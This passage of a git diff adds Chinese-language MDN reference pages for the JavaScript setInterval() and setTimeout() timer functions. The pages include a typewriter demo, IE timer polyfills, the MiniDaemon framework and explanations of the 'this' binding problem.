+    clearInterval(nIntervId);
+    bTyping = false;
+    bStart = true;
+    oCurrent = null;
+    aSheets.length = nIdx = 0;
+  }
+
+  function scroll (oSheet, nPos, bEraseAndStop) {
+    if (!oSheet.hasOwnProperty("parts") || aMap.length < nPos) { return true; }
+
+    var oRel, bExit = false;
+
+    if (aMap.length === nPos) { aMap.push(0); }
+
+    while (aMap[nPos] < oSheet.parts.length) {
+      oRel = oSheet.parts[aMap[nPos]];
+
+      scroll(oRel, nPos + 1, bEraseAndStop) ? aMap[nPos]++ : bExit = true;
+
+      if (bEraseAndStop && (oRel.ref.nodeType - 1 | 1) === 3 && oRel.ref.nodeValue) {
+        bExit = true;
+        oCurrent = oRel.ref;
+        sPart = oCurrent.nodeValue;
+        oCurrent.nodeValue = "";
+      }
+
+      oSheet.ref.appendChild(oRel.ref);
+      if (bExit) { return false; }
+    }
+
+    aMap.length--;
+    return true;
+  }
+
+  function typewrite () {
+    if (sPart.length === 0 && scroll(aSheets[nIdx], 0, true) && nIdx++ === aSheets.length - 1) { clean(); return; }
+
+    oCurrent.nodeValue += sPart.charAt(0);
+    sPart = sPart.slice(1);
+  }
+
+  function Sheet (oNode) {
+    this.ref = oNode;
+    if (!oNode.hasChildNodes()) { return; }
+    this.parts = Array.prototype.slice.call(oNode.childNodes);
+
+    for (var nChild = 0; nChild < this.parts.length; nChild++) {
+      oNode.removeChild(this.parts[nChild]);
+      this.parts[nChild] = new Sheet(this.parts[nChild]);
+    }
+  }
+
+  var
+    nIntervId, oCurrent = null, bTyping = false, bStart = true,
+    nIdx = 0, sPart = "", aSheets = [], aMap = [];
+
+  this.rate = nRate || 100;
+
+  this.play = function () {
+    if (bTyping) { return; }
+    if (bStart) {
+      var aItems = document.querySelectorAll(sSelector);
+
+      if (aItems.length === 0) { return; }
+      for (var nItem = 0; nItem < aItems.length; nItem++) {
+        aSheets.push(new Sheet(aItems[nItem]));
+        /* Uncomment the following line if you have previously hidden your elements via CSS: */
+        // aItems[nItem].style.visibility = "visible";
+      }
+
+      bStart = false;
+    }
+
+    nIntervId = setInterval(typewrite, this.rate);
+    bTyping = true;
+  };
+
+  this.pause = function () {
+    clearInterval(nIntervId);
+    bTyping = false;
+  };
+
+  this.terminate = function () {
+    oCurrent.nodeValue += sPart;
+    sPart = "";
+    for (nIdx; nIdx < aSheets.length; scroll(aSheets[nIdx++], 0, false));
+    clean();
+  };
+}
+
+/* usage: */
+var oTWExample1 = new Typewriter(/* elements: */ "#article, h1, #info, #copyleft", /* frame rate (optional): */ 15);
+
+/* default frame rate is 100: */
+var oTWExample2 = new Typewriter("#controls");
+
+/* you can also change the frame rate value modifying the "rate" property; for example: */
+// oTWExample2.rate = 150;
+
+onload = function () {
+  oTWExample1.play();
+  oTWExample2.play();
+};
+</script>
+<style type="text/css">
+span.intLink, a, a:visited {
+  cursor: pointer;
+  color: #000000;
+  text-decoration: underline;
+}
+
+#info {
+  width: 180px;
+  height: 150px;
+  float: right;
+  background-color: #eeeeff;
+  padding: 4px;
+  overflow: auto;
+  font-size: 12px;
+  margin: 4px;
+  border-radius: 5px;
+  /* visibility: hidden; */
+}
+</style>
+</head>
+
+<body>
+
+<p id="copyleft" style="font-style: italic; font-size: 12px; text-align: center;">CopyLeft 2012 by <a href="https://developer.mozilla.org/" target="_blank">Mozilla Developer Network</a></p>
+<p id="controls" style="text-align: center;">[&nbsp;<span class="intLink" onclick="oTWExample1.play();">Play</span> | <span class="intLink" onclick="oTWExample1.pause();">Pause</span> | <span class="intLink" onclick="oTWExample1.terminate();">Terminate</span>&nbsp;]</p>
+<div id="info">
+Vivamus blandit massa ut metus mattis in fringilla lectus imperdiet. Proin ac ante a felis ornare vehicula. Fusce pellentesque lacus vitae eros convallis ut mollis magna pellentesque. Pellentesque placerat enim at lacus ultricies vitae facilisis nisi fringilla. In tincidunt tincidunt tincidunt.
+</div>
+<h1>JavaScript Typewriter</h1>
+
+<div id="article">
+<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam ultrices dolor ac dolor imperdiet ullamcorper. Suspendisse quam libero, luctus auctor mollis sed, malesuada condimentum magna. Quisque in ante tellus, in placerat est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Donec a mi magna, quis mattis dolor. Etiam sit amet ligula quis urna auctor imperdiet nec faucibus ante. Mauris vel consectetur dolor. Nunc eget elit eget velit pulvinar fringilla consectetur aliquam purus. Curabitur convallis, justo posuere porta egestas, velit erat ornare tortor, non viverra justo diam eget arcu. Phasellus adipiscing fermentum nibh ac commodo. Nam turpis nunc, suscipit a hendrerit vitae, volutpat non ipsum.</p>
+<form>
+<p>Phasellus ac nisl lorem: <input type="text" /><br />
+<textarea style="width: 400px; height: 200px;">Nullam commodo suscipit lacus non aliquet. Phasellus ac nisl lorem, sed facilisis ligula. Nam cursus lobortis placerat. Sed dui nisi, elementum eu sodales ac, placerat sit amet mauris. Pellentesque dapibus tellus ut ipsum aliquam eu auctor dui vehicula. Quisque ultrices laoreet erat, at ultrices tortor sodales non. Sed venenatis luctus magna, ultricies ultricies nunc fringilla eget. Praesent scelerisque urna vitae nibh tristique varius consequat neque luctus. Integer ornare, erat a porta tempus, velit justo fermentum elit, a fermentum metus nisi eu ipsum. Vivamus eget augue vel dui viverra adipiscing congue ut massa. Praesent vitae eros erat, pulvinar laoreet magna. Maecenas vestibulum mollis nunc in posuere. Pellentesque sit amet metus a turpis lobortis tempor eu vel tortor. Cras sodales eleifend interdum.</textarea></p>
+<input type="submit" value="Send" />
+</form>
+<p>Duis lobortis sapien quis nisl luctus porttitor. In tempor semper libero, eu tincidunt dolor eleifend sit amet. Ut nec velit in dolor tincidunt rhoncus non non diam. Morbi auctor ornare orci, non euismod felis gravida nec. Curabitur elementum nisi a eros rutrum nec blandit diam placerat. Aenean tincidunt risus ut nisi consectetur cursus. Ut vitae quam elit. Donec dignissim est in quam tempor consequat. Aliquam aliquam diam non felis convallis suscipit. Nulla facilisi. Donec lacus risus, dignissim et fringilla et, egestas vel eros. Duis malesuada accumsan dui, at fringilla mauris bibStartum quis. Cras adipiscing ultricies fermentum. Praesent bibStartum condimentum feugiat.</p>
+<p>Nam faucibus, ligula eu fringilla pulvinar, lectus tellus iaculis nunc, vitae scelerisque metus leo non metus. Proin mattis lobortis lobortis. Quisque accumsan faucibus erat, vel varius tortor ultricies ac. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed nec libero nunc. Nullam tortor nunc, elementum a consectetur et, ultrices eu orci. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a nisl eu sem vehicula egestas.</p>
+</div>
+</body>
+</html>
+
+ +

查看示例效果,亦可参考:clearInterval()

+ +

回调参数

+ +

如前所述,Internet Explorer 9及以下版本不支持在setTimeout()setInterval()中向回调函数传递参数。下面的IE专用代码演示了一种克服这种限制的方法。使用时,只需将以下代码添加到你的脚本顶部即可。

+ +
/*\
+|*|
+|*|  IE-specific polyfill that enables the passage of arbitrary arguments to the
+|*|  callback functions of javascript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, arg1, arg2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, arg1, arg2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+if (document.all && !window.setTimeout.isPolyfill) {
+  var __nativeST__ = window.setTimeout;
+  window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeST__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setTimeout.isPolyfill = true;
+}
+
+if (document.all && !window.setInterval.isPolyfill) {
+  var __nativeSI__ = window.setInterval;
+  window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+    var aArgs = Array.prototype.slice.call(arguments, 2);
+    return __nativeSI__(vCallback instanceof Function ? function () {
+      vCallback.apply(null, aArgs);
+    } : vCallback, nDelay);
+  };
+  window.setInterval.isPolyfill = true;
+}
+
+ +

另一种方式是使用匿名函数调用你的回调函数,但是这种方式开销较大。例如:

+ +
var intervalID = setInterval(function() { myFunc('one', 'two', 'three'); }, 1000);
+ +

还有一种方式是使用 function's bind. 例如:

+ +
var intervalID = setInterval(function(arg1) {}.bind(undefined, 10), 1000);
+ +

{{h3_gecko_minversion("Inactive tabs", "5.0")}}

+ +

Starting in Gecko 5.0 {{geckoRelease("5.0")}}, intervals are clamped to fire no more often than once per second in inactive tabs.

+ +

"this" 的问题

+ +

当你给 setInterval() 传递一个方法或者函数的时候,this 值的绑定会存在一些问题。  这个问题在JavaScript 参考 进行了详细解释。

+ +

解释

+ +

Code executed by setInterval() runs in a separate execution context than the function from which it was called. As a consequence, the this keyword for the called function is set to the window (or global) object, it is not the same as the this value for the function that called setTimeout. See the following example (which uses setTimeout() instead of setInterval() – the problem, in fact, is the same for both timers):

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1,5 seconds
+// passing the 'this' object with .call won't work
+// because this will change the value of this inside setTimeout itself
+// while we want to change the value of this inside myArray.myMethod
+// in fact, it will be an error because setTimeout code expects this to be the window object:
+setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+
+ +

As you can see there are no ways to pass the this object to the callback function in the legacy JavaScript.

+ +

一个可能的解决方案

+ +

A possible way to solve the "this" problem is to replace the two native setTimeout() or setInterval() global functions with two non-native ones that enable their invocation through the Function.prototype.call method. The following example shows a possible replacement:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
These two replacements also enable the HTML5 standard passage of arbitrary arguments to the callback functions of timers in IE. So they can be used as non-standard-compliant polyfills also. See the callback arguments paragraph for a standard-compliant polyfill.
+ +

New feature test:

+ +
myArray = ['zero', 'one', 'two'];
+
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, 'Hello world!'); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

Another, more complex, solution for the this problem is the following framework.

+ +
JavaScript 1.8.5 introduces the Function.prototype.bind() method, which lets you specify the value that should be used as this for all calls to a given function. This lets you easily bypass problems where it's unclear what this will be, depending on the context from which your function was called. Also, ES2015 supports arrow functions, with lexical this allowing us to write setInterval( () => this.myMethod) if we're inside myArray method.
+ +

MiniDaemon:一个用于管理定时器的小框架

+ +

In pages requiring many timers, it can often be difficult to keep track of all of the running timer events. One approach to solving this problem is to store information about the state of a timer in an object. Following is a minimal example of such an abstraction. The constructor architecture explicitly avoids the use of closures. It also offers an alternative way to pass the this object to the callback function (see The "this" problem for details). The following code is also available on GitHub.

+ +
For a more complex but still modular version of it (Daemon) see JavaScript Daemons Management. This more complex version is nothing but a big and scalable collection of methods for the Daemon constructor. However, the Daemon constructor itself is nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it.
+ +

minidaemon.js

+ +
+
/*\
+|*|
+|*|  :: MiniDaemon ::
+|*|
+|*|  Revision #2 - September 26, 2014
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/Web/API/window.setInterval
+|*|  https://developer.mozilla.org/User:fusionchess
+|*|  https://github.com/madmurphy/minidaemon.js
+|*|
+|*|  This framework is released under the GNU Lesser General Public License, version 3 or later.
+|*|  http://www.gnu.org/licenses/lgpl-3.0.html
+|*|
+\*/
+
+function MiniDaemon (oOwner, fTask, nRate, nLen) {
+  if (!(this && this instanceof MiniDaemon)) { return; }
+  if (arguments.length < 2) { throw new TypeError('MiniDaemon - not enough arguments'); }
+  if (oOwner) { this.owner = oOwner; }
+  this.task = fTask;
+  if (isFinite(nRate) && nRate > 0) { this.rate = Math.floor(nRate); }
+  if (nLen > 0) { this.length = Math.floor(nLen); }
+}
+
+MiniDaemon.prototype.owner = null;
+MiniDaemon.prototype.task = null;
+MiniDaemon.prototype.rate = 100;
+MiniDaemon.prototype.length = Infinity;
+
+  /* These properties should be read-only */
+
+MiniDaemon.prototype.SESSION = -1;
+MiniDaemon.prototype.INDEX = 0;
+MiniDaemon.prototype.PAUSED = true;
+MiniDaemon.prototype.BACKW = true;
+
+  /* Global methods */
+
+MiniDaemon.forceCall = function (oDmn) {
+  oDmn.INDEX += oDmn.BACKW ? -1 : 1;
+  if (oDmn.task.call(oDmn.owner, oDmn.INDEX, oDmn.length, oDmn.BACKW) === false || oDmn.isAtEnd()) { oDmn.pause(); return false; }
+  return true;
+};
+
+  /* Instances methods */
+
+MiniDaemon.prototype.isAtEnd = function () {
+  return this.BACKW ? isFinite(this.length) && this.INDEX < 1 : this.INDEX + 1 > this.length;
+};
+
+MiniDaemon.prototype.synchronize = function () {
+  if (this.PAUSED) { return; }
+  clearInterval(this.SESSION);
+  this.SESSION = setInterval(MiniDaemon.forceCall, this.rate, this);
+};
+
+MiniDaemon.prototype.pause = function () {
+  clearInterval(this.SESSION);
+  this.PAUSED = true;
+};
+
+MiniDaemon.prototype.start = function (bReverse) {
+  var bBackw = Boolean(bReverse);
+  if (this.BACKW === bBackw && (this.isAtEnd() || !this.PAUSED)) { return; }
+  this.BACKW = bBackw;
+  this.PAUSED = false;
+  this.synchronize();
+};
+
+
+ +
MiniDaemon passes arguments to the callback function. If you want to work on it with browsers that natively do not support this feature, use one of the methods proposed above.
+ +

语法

+ +

var myDaemon = new MiniDaemon(thisObject, callback[, rate[, length]]);

+ +

说明

+ +

Returns a JavaScript Object containing all information needed by an animation (like the this object, the callback function, the length, the frame-rate).

+ +

参数

+ +
+
thisObject
+
The this object on which the callback function is called. It can be an object or null.
+
callback
+
The function that is repeatedly invoked . It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is increasing or decreasing). It is something like callback.call(thisObject, index, length, backwards). If the callback function returns a false value the daemon is paused.
+
rate (optional)
+
The time lapse (in number of milliseconds) between each invocation. The default value is 100.
+
length (optional)
+
The total number of invocations. It can be a positive integer or Infinity. The default value is Infinity.
+
+ +

MiniDaemon 实例(instance)的属性

+ +
+
myDaemon.owner
+
The this object on which is executed the daemon (read/write). It can be an object or null.
+
myDaemon.task
+
The function that is repeatedly invoked (read/write). It is called with three arguments: index (the iterative index of each invocation), length (the number of total invocations assigned to the daemon - finite or Infinity) and backwards (a boolean expressing whether the index is decreasing or not) – see above. If the myDaemon.task function returns a false value the daemon is paused.
+
myDaemon.rate
+
The time lapse (in number of milliseconds) between each invocation (read/write).
+
myDaemon.length
+
The total number of invocations. It can be a positive integer or Infinity (read/write).
+
+ +

MiniDaemon 实例的方法

+ +
+
myDaemon.isAtEnd()
+
Returns a boolean expressing whether the daemon is at the start/end position or not.
+
myDaemon.synchronize()
+
Synchronize the timer of a started daemon with the time of its invocation.
+
myDaemon.pause()
+
Pauses the daemon.
+
myDaemon.start([reverse])
+
Starts the daemon forward (index of each invocation increasing) or backwards (index decreasing).
+
+ +

MiniDaemon 全局对象的方法

+ +
+
MiniDaemon.forceCall(minidaemon)
+
Forces a single callback to the minidaemon.task function regardless of the fact that the end has been reached or not. In any case the internal INDEX property is increased/decreased (depending on the actual direction of the process).
+
+ +

使用示例

+ +

HTML:

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>MiniDaemin Example - MDN</title>
+  <script type="text/javascript" src="minidaemon.js"></script>
+  <style type="text/css">
+    #sample_div {
+      visibility: hidden;
+    }
+  </style>
+</head>
+
+<body>
+  <p>
+    <input type="button" onclick="fadeInOut.start(false /* optional */);" value="fade in" />
+    <input type="button" onclick="fadeInOut.start(true);" value="fade out">
+    <input type="button" onclick="fadeInOut.pause();" value="pause" />
+  </p>
+
+  <div id="sample_div">Some text here</div>
+
+  <script type="text/javascript">
+    function opacity (nIndex, nLength, bBackwards) {
+      this.style.opacity = nIndex / nLength;
+      if (bBackwards ? nIndex === 0 : nIndex === 1) {
+        this.style.visibility = bBackwards ? 'hidden' : 'visible';
+      }
+    }
+
+    var fadeInOut = new MiniDaemon(document.getElementById('sample_div'), opacity, 300, 8);
+  </script>
+</body>
+</html>
+ +

View this example in action

+ +

备注

+ +

The setInterval() function is commonly used to set a delay for functions that are executed again and again, such as animations.

+ +

You can cancel the interval using {{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}.

+ +

If you wish to have your function called once after the specified delay, use {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.

+ +

Ensure that execution duration is shorter than interval frequency

+ +

If there is a possibility that your logic could take longer to execute than the interval time, it is recommended that you recursively call a named function using {{domxref("WindowOrWorkerGlobalScope.setTimeout")}}. For example, if using setInterval to poll a remote server every 5 seconds, network latency, an unresponsive server, and a host of other issues could prevent the request from completing in its allotted time. As such, you may find yourself with queued up XHR requests that won't necessarily return in order.

+ +

In these cases, a recursive setTimeout() pattern is preferred:

+ +
(function loop(){
+   setTimeout(function() {
+      // Your logic here
+
+      loop();
+  }, delay);
+})();
+
+ +

In the above snippet, a named function loop() is declared and is immediately executed. loop() is recursively called inside setTimeout() after the logic has completed executing. While this pattern does not guarantee execution on a fixed interval, it does guarantee that the previous interval has completed before recursing.

+ +

Throttling of intervals

+ +

setInterval() is subject to the same throttling restrictions in Firefox as {{domxref("WindowOrWorkerGlobalScope.setTimeout","setTimeout()")}}; see Reasons for delays longer than specified.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-setinterval', 'WindowOrWorkerGlobalScope.setInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName("HTML WHATWG", "webappapis.html#dom-setinterval", "WindowTimers.setInterval()")}}{{Spec2("HTML WHATWG")}}Initial definition (DOM Level 0)
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.WindowOrWorkerGlobalScope.setInterval")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html new file mode 100644 index 0000000000..f9813851f7 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/settimeout/index.html @@ -0,0 +1,476 @@ +--- +title: window.setTimeout +slug: Web/API/Window/setTimeout +tags: + - Timers + - WindowOrWorkerGlobalScope + - WindowTimers + - setTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/setTimeout +--- +

{{APIRef("HTML DOM")}}

+ +

 {{domxref("WindowOrWorkerGlobalScope")}} 混合的 setTimeout()方法设置一个定时器,该定时器在定时器到期后执行一个函数或指定的一段代码。

+ +

语法

+ +
var timeoutID = scope.setTimeout(function[, delay, arg1, arg2, ...]);
+var timeoutID = scope.setTimeout(function[, delay]);
+var timeoutID = scope.setTimeout(code[, delay]);
+ +

参数

+ +
+
function
+
{{jsxref("function")}} 是你想要在到期时间(delay毫秒)之后执行的函数
+
code
+
这是一个可选语法,你可以使用字符串而不是{{jsxref("function")}} ,在delay毫秒之后编译和执行字符串 (使用该语法是不推荐的, 原因和使用 {{jsxref("Global_Objects/eval", "eval()")}}一样,有安全风险)。
+
delay {{optional_inline}}
+
延迟的毫秒数 (一秒等于1000毫秒),函数的调用会在该延迟之后发生。如果省略该参数,delay取默认值0,意味着“马上”执行,或者尽快执行。不管是哪种情况,实际的延迟时间可能会比期待的(delay毫秒数) 值长,原因请查看{{anch("实际延时比设定值更久的原因:最小延迟时间")}}。
+
arg1, ..., argN {{optional_inline}}
+
附加参数,一旦定时器到期,它们会作为参数传递给{{jsxref("function")}} 
+
+ +
+

备注:需要注意的是,IE9 及更早的 IE 浏览器不支持向回调函数传递额外参数(第一种语法)。如果你想要在IE中达到同样的功能,你必须使用一种兼容代码 (查看  {{anch("兼容旧环境(polyfill)")}} 一段).

+
+ +

返回值

+ +

返回值timeoutID是一个正整数,表示定时器的编号。这个值可以传递给{{domxref("WindowOrWorkerGlobalScope.clearTimeout","clearTimeout()")}}来取消该定时器。

+ +

需要注意的是setTimeout()和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}共用一个编号池,技术上,clearTimeout()和 {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 可以互换。但是,为了避免混淆,不要混用取消定时函数。

+ +

在同一个对象上(一个window或者worker),setTimeout()或者setInterval()在后续的调用不会重用同一个定时器编号。但是不同的对象使用独立的编号池。

+ +

例子

+ +

下文的例子在网页中设置了两个简单的按钮,以触发 setTimeout() 和 clearTimeout() 方法:按下第一个按钮会设置一个定时器,定时器在 2s 后显示一个警告对话框,并将此次 setTimeout 的定时器 ID 保存起来,按下第二个按钮可以取消定时器。

+ +

HTML

+ +
<p>Live Example</p>
+<button onclick="delayedAlert();">Show an alert box after two seconds</button>
+<p></p>
+<button onclick="clearAlert();">Cancel alert before it happens</button>
+
+ +
+ +
+ +
+ +
+ +

JavaScript

+ +
var timeoutID;
+
+function delayedAlert() {
+  timeoutID = window.setTimeout(slowAlert, 2000);
+}
+
+function slowAlert() {
+  alert('That was really slow!');
+}
+
+function clearAlert() {
+  window.clearTimeout(timeoutID);
+}
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

结果展示

+ +

{{EmbedLiveSample('例子')}}

+ +

也可参考 clearTimeout() 示例.

+ +

兼容旧环境(polyfill)

+ +

如果你需要向你的回调函数内传递一个或多个参数, 而且还需要兼容那些不支持传递额外参数(不管使用setTimeout() 或者 setInterval())的浏览器时(比如,IE9及更早的版本), 你可以引入下面的兼容代码来支持向定时器函数传参。将以下代码添加到你代码的最上面:

+ +
/*\
+|*|
+|*|  Polyfill which enables the passage of arbitrary arguments to the
+|*|  callback functions of JavaScript timers (HTML5 standard syntax).
+|*|
+|*|  https://developer.mozilla.org/en-US/docs/DOM/window.setInterval
+|*|
+|*|  Syntax:
+|*|  var timeoutID = window.setTimeout(func, delay[, param1, param2, ...]);
+|*|  var timeoutID = window.setTimeout(code, delay);
+|*|  var intervalID = window.setInterval(func, delay[, param1, param2, ...]);
+|*|  var intervalID = window.setInterval(code, delay);
+|*|
+\*/
+
+(function() {
+  setTimeout(function(arg1) {
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeST__ = window.setTimeout;
+    window.setTimeout = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeST__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+
+  var interval = setInterval(function(arg1) {
+    clearInterval(interval);
+    if (arg1 === 'test') {
+      // feature test is passed, no need for polyfill
+      return;
+    }
+    var __nativeSI__ = window.setInterval;
+    window.setInterval = function(vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */ ) {
+      var aArgs = Array.prototype.slice.call(arguments, 2);
+      return __nativeSI__(vCallback instanceof Function ? function() {
+        vCallback.apply(null, aArgs);
+      } : vCallback, nDelay);
+    };
+  }, 0, 'test');
+}())
+ +

针对IE的解决方法

+ +

如果你需要单独的针对IE9及之前浏览器的 hack 写法,你可以使用 JavaScript 条件注释:

+ +
/*@cc_on
+  // conditional IE < 9 only fix
+  @if (@_jscript_version <= 9)
+  (function(f){
+     window.setTimeout = f(window.setTimeout);
+     window.setInterval = f(window.setInterval);
+  })(function(f){return function(c,t){var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}});
+  @end
+@*/
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

或者使用更加清晰的 IE HTML 条件注释:

+ +
<!--[if lte IE 9]><script>
+(function(f){
+window.setTimeout=f(window.setTimeout);
+window.setInterval=f(window.setInterval);
+})(function(f){return function(c,t){
+var a=[].slice.call(arguments,2);return f(function(){c instanceof Function?c.apply(this,a):eval(c)},t)}
+});
+</script><![endif]-->
+
+
+
+ +
+ +
+ +

变通方法

+ +

另一种方法是使用匿名函数包裹你的回调函数,这种方式要消耗更多资源:

+ +
var intervalID = setTimeout(function() { myFunc('one', 'two', 'three'); }, 1000);
+
+ +
+ +

上面那个例子也可以用箭头函数:

+ +
var intervalID = setTimeout(() => { myFunc('one', 'two', 'three'); }, 1000);
+
+ +

此外,也可使用 function's bind

+ +
setTimeout(function(arg1){}.bind(undefined, 10), 1000);
+
+ +

关于"this"的问题

+ +

当你向 setTimeout() (或者其他函数)传递一个函数时,该函数中的this指向跟你的期望可能不同,这个问题在 JavaScript reference 中进行了详细解释.

+ +

解释

+ +

setTimeout()调用的代码运行在与所在函数完全分离的执行环境上。这会导致,这些代码中包含的 this 关键字在非严格模式会指向 window (或全局)对象,严格模式下为 undefined,这和所期望的this的值是不一样的。

+ +
+

备注:即使是在严格模式下,setTimeout()的回调函数里面的this仍然默认指向window对象, 并不是undefined

+
+ +

查看下面的例子:

+ +
let myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+myArray.myMethod(); // prints "zero,one,two"
+myArray.myMethod(1); // prints "one"
+ +

上面这段代码正常工作,用myArray调用,在函数内,this[sProperty]等于 myArray[sProperty]。然后,下面这个例子:

+ +
setTimeout(myArray.myMethod, 1000); // prints "[object Window]" after 1 second
+setTimeout(myArray.myMethod, 1500, "1"); // prints "undefined" after 1.5 seconds
+ +

myArray.myMethod函数传递给 setTimeout,到了定时时间,this没有指向,默认指向window对象。并且没有方法把 thisArg 传递给setTimeout,正如Array方法的forEachreduce等。下面的例子表示使用call方法设置this也没用。

+ +
setTimeout.call(myArray, myArray.myMethod, 2000); // error: "NS_ERROR_XPC_BAD_OP_ON_WN_PROTO: Illegal operation on WrappedNative prototype object"
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // same error
+ +

可能的解决方案

+ +

一个通用的方法是用包装函数来设置this

+ +
setTimeout(function(){myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout(function(){myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
+ +

箭头函数也可以:

+ +
setTimeout(() => {myArray.myMethod()}, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout(() => {myArray.myMethod('1')}, 2500); // prints "one" after 2.5 seconds
+ +

另一个解决this问题的方法是使用两个非原生的 setTimeout()setInterval() 全局函数代替原生的。该非原生的函数通过使用Function.prototype.call 方法激活了正确的作用域。下面的代码显示了应该如何替换:

+ +
// Enable the passage of the 'this' object through the JavaScript timers
+
+var __nativeST__ = window.setTimeout, __nativeSI__ = window.setInterval;
+
+window.setTimeout = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeST__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+
+window.setInterval = function (vCallback, nDelay /*, argumentToPass1, argumentToPass2, etc. */) {
+  var oThis = this, aArgs = Array.prototype.slice.call(arguments, 2);
+  return __nativeSI__(vCallback instanceof Function ? function () {
+    vCallback.apply(oThis, aArgs);
+  } : vCallback, nDelay);
+};
+ +
备注: 这两个替换也让 IE支持了符合 HTML5 标准的定时器函数。所以也能作为一个 polyfills。查看 Callback arguments 一段.
+ +

新特性检测:

+ +
let myArray = ["zero", "one", "two"];
+myArray.myMethod = function (sProperty) {
+    alert(arguments.length > 0 ? this[sProperty] : this);
+};
+
+setTimeout(alert, 1500, "Hello world!"); // the standard use of setTimeout and setInterval is preserved, but...
+setTimeout.call(myArray, myArray.myMethod, 2000); // prints "zero,one,two" after 2 seconds
+setTimeout.call(myArray, myArray.myMethod, 2500, 2); // prints "two" after 2,5 seconds
+
+ +

针对这个问题并没有原生的解决方案。

+ +
注:JavaScript 1.8.5 引入了 Function.prototype.bind() 方法,该方法允许显式地指定函数调用时 this 所指向的值 。该方法可以帮助你解决 this 指向不确定的问题。
+ +

使用bind()的例子:

+ +
let myArray = ['zero', 'one', 'two'];
